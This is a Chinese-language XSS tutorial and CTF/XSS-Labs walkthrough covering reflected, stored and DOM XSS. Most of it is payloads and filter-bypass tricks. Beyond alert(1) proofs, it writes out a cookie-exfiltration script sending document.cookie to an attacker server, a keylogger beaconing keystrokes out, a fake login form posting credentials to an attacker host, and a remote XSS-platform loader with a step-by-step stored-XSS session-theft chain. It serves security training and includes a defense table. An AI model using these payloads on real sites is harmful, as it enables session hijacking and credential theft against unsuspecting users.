从判断到利用再到绕过
XSS(Cross-Site Scripting,跨站脚本攻击)的本质是:攻击者把恶意JavaScript代码"塞"进网页里,让其他用户访问时,浏览器自动执行这段代码。
想象一个场景:你在一个论坛的评论区输入了一段文字,这段文字被服务器保存下来,然后每一个来看这个帖子的人,浏览器都会把你输入的内容显示出来。如果你输入的不是普通文字,而是一段JavaScript代码,而且网站没有做任何过滤,那么每个访问这个页面的人,浏览器都会执行你的代码——这就是XSS。
核心危害:攻击者可以窃取用户的Cookie(登录凭证)、伪造用户操作、钓鱼、键盘记录等。
根据恶意代码的"来源"和"触发方式"不同,XSS分为三类:
原理:恶意脚本存在于URL中,用户点击一个构造好的恶意链接后,服务器把URL里的参数"反射"回页面,浏览器执行了其中的代码。
特点:
实战判断方法(来自CTFHub反射型XSS):
假设页面URL是:
http://example.com/?name=CTFHub
页面显示:Hello, CTFHub
这说明name参数的值被直接输出到了页面上。尝试把name改成:

<script>alert(1)</script>
如果页面弹出了写着"1"的对话框,就说明存在反射型XSS漏洞。
利用流程:
原理:恶意脚本被永久存储在服务器的数据库或文件中,任何访问该页面的用户都会触发。
特点:
实战判断方法(来自CTFHub存储型XSS):
在输入框中输入:
<script>alert(1)</script>
点击提交后,如果页面刷新后自动弹出了对话框,说明这段代码被存进了数据库,每次页面加载都会执行——这就是存储型XSS。
利用流程:
什么是DOM? 看看这个
提示
个人认为: DOM 型 XSS 就是在 JavaScript 操作 DOM 树增删改 HTML 时,把用户输入的数据直接当成了 HTML 来解析,导致里面夹带的 JS 代码被执行。效果类似反射型 XSS,也需要诱导用户访问一个构造好的链接才能触发。
但是:
反射型 XSS:恶意输入 → 服务端收到 → 服务端原样输出在响应 HTML 中 → 浏览器解析执行。
DOM 型 XSS:前端 JavaScript 把用户输入的数据,不经处理直接写进了 innerHTML、location.href、document.write 这类能执行代码的 API 里,导致恶意脚本在浏览器端被执行,整个过程服务器完全不知情。
原理:恶意脚本不经过服务器,完全由浏览器端的JavaScript代码处理用户输入时产生。服务器返回的HTML本身是正常的,但前端JS把用户输入"塞"进了DOM树,导致代码执行。
特点:
innerHTML、location.href、document.write等操作场景 1:输入被拼进 href / src 属性
jsjavascript:alert(1)
javascript伪协议
场景 2:输入被 innerHTML 插入页面
html<img src=x onerror=alert(1)>
<svg onload=alert(1)>
场景 3:需要闭合前面的引号/标签
HTML
html' onmouseover=alert(1) //
'><img src=x onerror=alert(1)>
实战案例(来自CTFHub DOM反射):
查看页面源代码,发现这样的代码:
javascript$("#text")[0].innerHTML = '用户输入的内容';
用户输入最终落入的 API是innerHTML
这意味着你输入的内容会被直接塞进innerHTML里。innerHTML有一个特性:如果里面包含<script>标签,不会执行;但如果包含事件属性(如onerror)或其他标签,会执行。
所以直接输<script>alert(1)</script>可能不弹窗,需要构造闭合:
';</script><script>alert(1)</script>//
或者使用img标签的onerror事件:
<img src=x onerror=alert(1)>
实战案例(来自CTFHub DOM跳转):
查看源代码发现:
javascriptvar target = location.search.split("=")
if (target[0].slice(1) == "jumpto") {
location.href = target[1];
}
用户输入最终落入的 API是location.href
这段代码把URL中jumpto参数的值直接赋给了location.href。如果传入:
?jumpto=javascript:alert(1)
利用时(需要加载远程XSS平台JS):
?jumpto=javascript:$.getScript('//ujs.cx/xxx')
$.getScript() 是 jQuery 提供的一个方法,用来动态加载并执行一个外部的 JavaScript 文件。 浏览器会执行
javascript:伪协议里的代码,弹出对话框。
输入点:你能控制数据的地方
?name=xxx、?id=xxx)输出点:你的数据被显示出来的地方
先插入一个无害但特殊的字符串,观察页面如何渲染它:
<XSS>
然后右键查看页面源代码,搜索<XSS:
从最基础的开始,逐步升级:
Level 1 - 基础弹窗
html<script>alert(1)</script>
Level 2 - 事件触发
html<img src=x onerror=alert(1)>
Level 3 - 伪协议
html<a href="javascript:alert(1)">点击</a>
Level 4 - 闭合测试 如果页面源代码里有:
html<input value="用户输入">
尝试输入:
" onmouseover=alert(1) //
变成:
html<input value="" onmouseover=alert(1) //">
鼠标移上去就会弹窗。
弹窗只是证明漏洞存在,实际利用需要:
Cookie里通常存有用户的登录凭证(Session ID)。窃取Cookie后,攻击者可以在自己的浏览器里"变成"该用户。
XSS平台使用流程(以TLXSS为例):
html<sCRiPt sRC=//ujs.cx/xxx></sCrIpT>
自己搭建接收端(如果你有服务器):
html<!-- 恶意JS文件 xss.js -->
var img = new Image();
img.src = "http://你的服务器地址/recv?cookie=" + encodeURIComponent(document.cookie);
然后在XSS漏洞处引入:
html<script src="http://你的服务器地址/xss.js"></script>
javascriptdocument.onkeypress = function(e) {
var key = e.key;
new Image().src = "http://你的服务器/keys?k=" + key;
}
javascriptdocument.body.innerHTML = '<h1>请重新登录</h1><form action="http://攻击者服务器/steal"><input name="user"><input type="password" name="pass"><input type="submit"></form>';
https://www.freebuf.com/articles/web/340080.html
现实中,网站通常会部署WAF(Web应用防火墙)或代码层过滤。以下是常见的绕过思路:
WAF只过滤了小写的<script>?试试大小写混写:
html<sCrIpT>alert(1)</ScRiPt>
<ImG sRc=x OnErRoR=alert(1)>
如果WAF只替换一次关键字(把<script>替换成空),双写可以绕过:
html<sc<script>ript>alert(1)</script>
WAF过滤后变成:
html<script>alert(1)</script>
HTML实体编码:
html<script>alert(1)</script>
(注意:这通常只在特定解析环境下有效)
URL编码:
%3Cscript%3Ealert(1)%3C%2Fscript%3E
WAF只过滤了<script>?换其他能执行JS的标签:
html<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
WAF过滤了onclick?试试其他事件:
| 事件 | 触发条件 |
|---|---|
onerror | 图片/资源加载失败时 |
onload | 页面/图片加载完成时 |
onmouseover | 鼠标移过时 |
onfocus | 元素获得焦点时 |
oninput | 输入框输入时 |
onmouseenter | 鼠标进入元素时 |
ontoggle | <details>标签切换时 |
html<a href="javascript:alert(1)">点我</a>
<a href="data:text/html,<script>alert(1)</script>">点我</a>
WAF检测<script>中间不能有空格?用其他空白符:
html<script%09>alert(1)</script> <!-- %09是Tab -->
<script%0a>alert(1)</script> <!-- %0a是换行 -->
当单引号和双引号都被过滤时,用反引号:
html<img src=`javascript:alert("XSS")`>
html<script><!--alert(1)//--></script>
如果输出在已有标签内部,先闭合再注入:
html原代码:<div class="用户输入"></div>
输入:"><script>alert(1)</script><"
结果:<div class=""><script>alert(1)</script><""></div>
有些WAF只检测GET请求,不检测POST、Cookie、Header。尝试把payload放到:
不直接写<script>,用现有JS环境:
html<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
(eval执行alert(1)的ASCII编码)
如果直接输入被过滤,看看能否通过URL hash触发:
http://example.com/#<img src=x onerror=alert(1)>
有些前端代码会读取location.hash并写入DOM。
注册TLXSS
->创建项目->
点击查看配置编码

以存储型XSS为例,串联整个过程:
Step 1 - 判断漏洞
在留言框输入<script>alert(1)</script>,提交后页面自动弹窗 → 确认存在存储型XSS。
Step 2 - 搭建接收端 登录TLXSS平台,创建项目,选择"超强默认模块",复制配置代码:
html<sCRiPt sRC=//ujs.cx/xxx></sCrIpT>
Step 3 - 植入Payload 把上述代码输入到留言框提交。此时代码被存入数据库。
Step 4 - 触发 管理员(或Bot)访问该页面,浏览器加载并执行了这段代码,向TLXSS平台发送了请求。
Step 5 - 收取成果 在TLXSS平台查看记录,获取到:
| 防御措施 | 原理 |
|---|---|
| 输入过滤 | 过滤<、>、"、'、javascript:等危险字符 |
| 输出编码 | 把<变成<,让浏览器把它当纯文本显示 |
| CSP(内容安全策略) | 通过HTTP头限制页面能加载的脚本来源 |
| HttpOnly Cookie | 设置Cookie的HttpOnly属性,让JS无法读取 |
| X-XSS-Protection | 浏览器内置的XSS过滤(现代浏览器已逐渐弃用) |
| 类型 | 定义 | 特点 | 数据流向 |
|---|---|---|---|
| 反射型 XSS | 恶意脚本通过 URL/请求提交,服务器处理后立即回显到页面 | 不持久化,需诱骗用户点击链接触发 | 用户 → 服务器 → 响应页面(一次性) |
| 存储型 XSS | 恶意脚本被保存到数据库,其他用户浏览时自动触发 | 持久化,危害最大,无需交互 | 用户 → 服务器 → 数据库 → 所有访客 |
| DOM 型 XSS | 纯前端 JS 处理用户输入(如 URL hash、location.href)导致,不经过服务器 | 服务端看不到 payload,WAF 难检测 | 用户 → 前端 JS → DOM 渲染 |
⚠️ XSS-Labs 靶场 20 关全部是反射型 XSS(数据从请求来,服务器处理后立即回显,不存入数据库)。部分关卡涉及前端组件(如 ng-include、Flash),但数据仍由服务端注入页面,因此不属严格意义上的 DOM 型。
| 关卡 | 参数名 | 注入位置 | 核心过滤机制 |
|---|---|---|---|
| Level 1 | name | 页面直接输出 | 无过滤 |
| Level 2 | keyword | <input value="..."> | htmlspecialchars()(上方输出) |
| Level 3 | keyword | <input value='...'> | htmlspecialchars() 默认不转义单引号 |
| Level 4 | keyword | <input value="..."> | 删除 <> |
| Level 5 | keyword | <input value="..."> | 替换 script→scr_ipt,on→o_n |
| Level 6 | keyword | <input value="..."> | 过滤关键字 + strtolower() |
| Level 7 | keyword | <input value="..."> | str_replace() 删除关键字 |
| Level 8 | keyword | <a href="..."> | htmlspecialchars() + strtolower() |
| Level 9 | keyword | <a href="..."> | 同上 + strpos() 检查 http:// |
| Level 10 | t_sort | <input name="t_sort" value="..."> | 仅删除 <>,不转义引号 |
| Level 15 | src | ng-include 属性 | 无特殊过滤 |
| Level 16 | keyword | 页面输出 | 删除空格、/、script |
| 关卡 | 数据来源 | 注入位置 | 过滤机制 |
|---|---|---|---|
| Level 11 | $_SERVER['HTTP_REFERER'] | <input name="t_ref" value="..."> | htmlspecialchars() |
| Level 12 | $_SERVER['HTTP_USER_AGENT'] | <input name="t_ua" value="..."> | htmlspecialchars() |
| Level 13 | $_COOKIE / Cookie 头 | <input name="t_cook" value="..."> | htmlspecialchars() |
| 关卡 | 数据来源 | 注入位置 | 技术点 |
|---|---|---|---|
| Level 14 | 图片 EXIF 元数据 | 图片查看器回显 | EXIF XSS |
| Level 15 | URL 参数 src | AngularJS ng-include | 前端模板注入 |
| Level 17~18 | URL 参数 arg01/arg02 | <embed> 标签属性 | Flash/HTML 属性拼接 |
| Level 19 | URL 参数 arg01/arg02 | Flash 变量 | Flash XSS |
| Level 20 | URL 参数 arg01/arg02 | Flash 反编译代码 | 闭合 + 异常捕获 |
html<script>alert(1)</script>
原理:直接 echo 输出,无任何转义,<script> 标签被浏览器解析执行。
html"><script>alert(1)</script><"
原理:页面上方输出用了 htmlspecialchars(),但 <input> 的 value 属性中没有转义。用 "> 闭合前面的双引号和标签,插入新脚本。
htmlspecialchars() 是 PHP 里一个专门用来防御 XSS 的函数,它的工作就是把那些对 HTML 有特殊意义的字符,转成纯文本显示的 HTML 实体。

html'onclick='alert(1)
原理:htmlspecialchars() 默认只转义双引号,单引号不转义。用单引号闭合 value=',插入 onclick 事件。

html"onclick="alert(1)
原理:<> 被删除,无法使用 <script> 标签。改用事件属性,双引号闭合后触发。

html"><a href=javascript:alert(1)>xss</a><"
原理:script 被替换为 scr_ipt,on 被替换为 o_n,事件和脚本标签都失效。换用 <a> 标签的 href="javascript:" 伪协议,点击时执行 JS。

html"><a Href=javascript:alert(1)>xss</a><"
原理:过滤了 href、script 等关键字,没有用 strtolower()。用大写 Href、Script 绕过。

html"><a Hhrefref=javasscriptcript:alert(1)>xss</a><"
原理:str_replace("script", "", $str) 把 script 删除。写成 sscriptcript,删除中间 script 后,剩余 s + cript = script。

htmljavascript:alert(1)
原理:htmlspecialchars() + strtolower() 双重过滤。利用 HTML 实体编码(十进制 Unicode),浏览器解析 href 时会自动解码成 javascript:alert(1)。

htmljavascript:alert(1)//http://
原理:strpos($str, "http://") 检查必须包含 http://。在 JS 伪协议后用 // 单行注释,把 http:// 注释掉,既满足检查又不影响执行。

html?t_sort=" type="text" onmouseover="alert(1)
原理:t_sort 是唯一活的注入点(t_link 和 t_history 值硬编码为空)。闭合 value=" 后,插入 type="text" 让隐藏框显示,再加事件属性。


httpReferer: " type="text" onmousemove="alert(1)
原理:$_SERVER['HTTP_REFERER'] 取值直接拼入 value。通过抓包修改 Referer 头,把 payload 写入隐藏 input。

httpUser-Agent: " type="text" onmousemove="alert(1)
原理:同 Level 11,只是注入点换成 $_SERVER['HTTP_USER_AGENT']。
httpCookie: user=" type="text" onmousemove="alert(1)
原理:同 Level 11~12,注入点在 Cookie 值。
bashexiftool -Artist='"><img src=1 onerror=alert(1)>' brute.jpeg
原理:修改图片 EXIF 元数据,某些图片查看器解析 EXIF 并回显到页面,未过滤导致 XSS。
html?src='level1.php?name=<img src=1 onerror=alert(1)>'
原理:AngularJS 的 ng-include 包含同域文件。包含 Level 1 并在参数中传入 XSS payload。注意 <script> 在 AngularJS 模板中不直接弹窗,需用 <img onerror> 等。
AngularJS 的机制:当 ng-include 把内容搬过来后,AngularJS 并不会执行嵌入内容中的
<script>标签。解决方案:攻击者就得换一种方式来执行 JS。所以使用了标签,利用 src 属性指向一个不存在的图片地址,强制触发 onerror 事件,从而执行 alert(1)。

html<svg%0Aonload=alert(1)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<img%0Dsrc=1%0Donerror=alert(1)>
<img%0asrc=1%0aonerror=alert(1)>
<img%0asrc=x%0donError=alert('xss')>
原理:空格、/、script 被过滤。用 URL 编码 %0a(换行符)替代空格,配合 <svg> 标签的 onload 事件。


html?arg01=a&arg02=b onmouseover='alert(1)'
原理:arg01 和 arg02 拼接成 src="xsf01.swf?a=b"。在 arg02 的值后加空格,浏览器把后面的 onmouseover 解析为 embed 标签的另一个属性。
html?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>
原理:Flash 中的 getURL / navigateToURL 可调用 JS。传入恶意参数让 Flash 执行 JS。
html?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
原理:反编译 swf 找到代码执行点,构造闭合 + 异常捕获 catch(e){alert(1)} 执行 JS。
| 函数 | 作用 | XSS-Labs 出现关卡 | 绕过思路 |
|---|---|---|---|
htmlspecialchars($str) | 将 & " < > 转为 HTML 实体 | Level 1(上方), 2(上方), 3, 8, 9, 11~13 | 默认不转义单引号(Level 3);可用事件属性、Unicode 编码 |
htmlspecialchars($str, ENT_QUOTES) | 同时转义单双引号 | — | 若使用此参数,单引号闭合失效,需用其他绕过 |
str_replace(">", "", $str) | 删除指定字符 | Level 4, 10 | 用事件属性代替 <script>;Level 10 只删 <> 不删引号 |
str_replace("script", "", $str) | 删除关键字 | Level 7 | 双写绕过:sscriptcript → 删除后剩 script |
strtolower($str) | 字符串转小写 | Level 6, 8 | 大小写绕过:Script → 过滤不匹配 |
strpos($str, "http://") | 查找子串位置 | Level 9 | 在 JS 注释后拼接://http:// |
echo | 输出内容到页面 | 全部 | 找到未过滤的输出点 |
$_GET["param"] | 获取 URL 参数 | Level 1 | 控制 URL 参数 |
$_SERVER['HTTP_REFERER'] | 获取 Referer 头 | Level 11 | 抓包修改请求头 |
$_SERVER['HTTP_USER_AGENT'] | 获取 UA 头 | Level 12 | 抓包修改请求头 |
$_COOKIE | 获取 Cookie | Level 13 | 浏览器/抓包修改 Cookie |
| 属性/协议/组件 | 作用 | XSS-Labs 出现关卡 | 利用方式 |
|---|---|---|---|
javascript: | URL 伪协议,点击时执行 JS | Level 5, 8, 9 | <a href="javascript:alert(1)"> |
onclick / onfocus / onmouseover | HTML 事件属性,交互时触发 JS | Level 2 | 闭合引号后插入事件 |
onerror | 资源加载失败时触发 | Level 14, 15 | <img src=1 onerror=alert(1)> |
onload | 元素加载完成时触发 | Level 16 | <svg onload=alert(1)> |
autofocus | 页面加载后自动聚焦 | Level 10+ | 配合 onfocus 自动触发,无需交互 |
ng-include | AngularJS 指令,包含外部 HTML | Level 15 | 包含同域文件并传入 XSS payload |
<embed> | 嵌入外部资源(如 Flash) | Level 17~18 | 属性拼接注入事件 |
data:text/html, | Data URI 协议 | — | <iframe src="data:text/html,<script>alert(1)</script>"> |
| 技巧 | 作用 | 适用场景 |
|---|---|---|
j(十进制 Unicode) | HTML 实体编码 | Level 8~9,绕过 htmlspecialchars() + 关键字过滤 |
%0a / %0d | URL 编码换行/回车,替代空格 | Level 16,绕过空格过滤 |
//(JS 单行注释) | 注释掉后面多余代码 | Level 9,吃掉 http:// 检查后的尾巴 |
/* */(JS 多行注释) | 同上 | 通用 |
"> / ' | 闭合原有 HTML 属性/标签 | Level 2 |
type="text" | 覆盖 type="hidden" | Level 10~13,让隐藏输入框显示出来 |
第一步:找输出位置 → 页面直显 / input value / a标签href / 隐藏表单 / 请求头 ↓ 第二步:看过滤机制 → 转义了啥?删除了啥?大小写?必须包含什么? ↓ 第三步:对症下药 ├─ 转义了 <> → 用事件属性(onclick/onfocus/onmouseover) ├─ 过滤了 script/on → 用 <a href=javascript:> 伪协议 ├─ 强制小写 → 大小写绕过(Script、OnClick) ├─ 删除关键字 → 双写绕过(sscriptcript) ├─ 全部转义 → Unicode 实体编码(j) ├─ 过滤空格 → %0a 换行替代 └─ 必须包含某字符串 → JS 注释拼接(//http://)